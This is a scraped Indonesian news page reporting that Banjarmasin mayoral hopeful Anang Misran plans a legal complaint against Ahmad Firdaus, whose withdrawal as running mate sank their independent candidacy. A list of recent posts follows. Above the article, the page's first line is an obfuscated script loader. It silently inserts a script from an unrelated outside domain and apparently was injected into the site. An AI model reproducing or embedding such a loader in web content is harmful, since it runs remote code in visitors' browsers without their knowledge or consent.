(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: PILKADA BANJARMASIN

‘Dicerai’ Batal Jadi Pendamping, Anang Misran Perkarakan Ahmad Firdaus


KANALKALIMANTAN.COM, BANJARMASIN – Kabar mengejutkan datang dari bakal calon Wali Kota Banjarmasin Anang Misran yang gagal melaju lewat jalur perseorangan.

Setelah mundurnya bakal calon Wakil Wali Kota Ahmad Firdaus pada Selasa (16/6/2020), dengan menyerahkan surat pengunduran diri resmi ke KPU Kota Banjarmasin. Secara otomatis membuat pasangan Anang-Daus berstatus tidak memenuhi syarat (TMS) yang dinyatakan oleh KPU Kota Banjarmasin.

Pengunduran diri sepihak Ahmad Firdaus ternyata berbuntut panjang. Melalui kuasa hukum yang tergabung dalam Perkumpulan Pengacara dan Penasihat Hukum Indonesia (P3HI) Kalsel, Anang Misran berencana memperkarakan Daus -sapaan akrab Ahmad Firdaus-.

Ketua P3HI Kalsel Aspihani Ideris mengatakan, dalam waktu dekat pihaknya akan mengirimkan surat somasi kepada Daus atas kerugian material dan non material kliennya Anang Misran.

Pengunduran diri sepihak dari Daus, menjadi alasan utama berlanjutnya persoalan ini ke ranah hukum. Mengingat antara kliennya Anang Misran dan Daus, sudah ada surat perjanjian yang ditandatangi kedua belah pihak.

“Pertama kita somasi dulu. Jika tidak ada respon kami akan laporkan ke kepolisian. Dalam hal ini kami akan tuntut menggunakan Pasal 372 Jo 378 KUHP dengan ancaman maksimal empat tahun penjara,”  beber Aspihani, Selasa (7/7/2020).

Dalam menempuh jalur hukum, Aspihani melibatkan 15 advokat di Kalsel. Ia memastikan, semua advokat ini siap mengawal proses hukum Anang Misran.

“Kami sudah pelajari persoalan ini dan siap menempuh jalur hukum. Klien kami merasa dirugikan tidak hanya materi bernilai ratusan juta rupiah, namun juga non materi yakni gagalnya melaju lewat jalur perseorangan,” terangnya.

Meski sangat optimis menempuh jalur hukum, Aspihani masih membuka pintu komunikasi dengan Daus untuk menyelesaikan persoalan dengan Anang Misran sebelum dilanjutkan secara resmi ke kepolisian.

“Kita tetap buka pintu komunikasi. Jika tidak ada respon kami akan laporkan ke pihak kepolisian. Yang jelas klien kami sangat dirugikan dengan pengunduran diri secara sepihak ini,” pungkasnya. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie


Al Ghifari

Recent Posts

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

4 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

6 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

21 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

21 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

22 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

23 jam ago

This website uses cookies.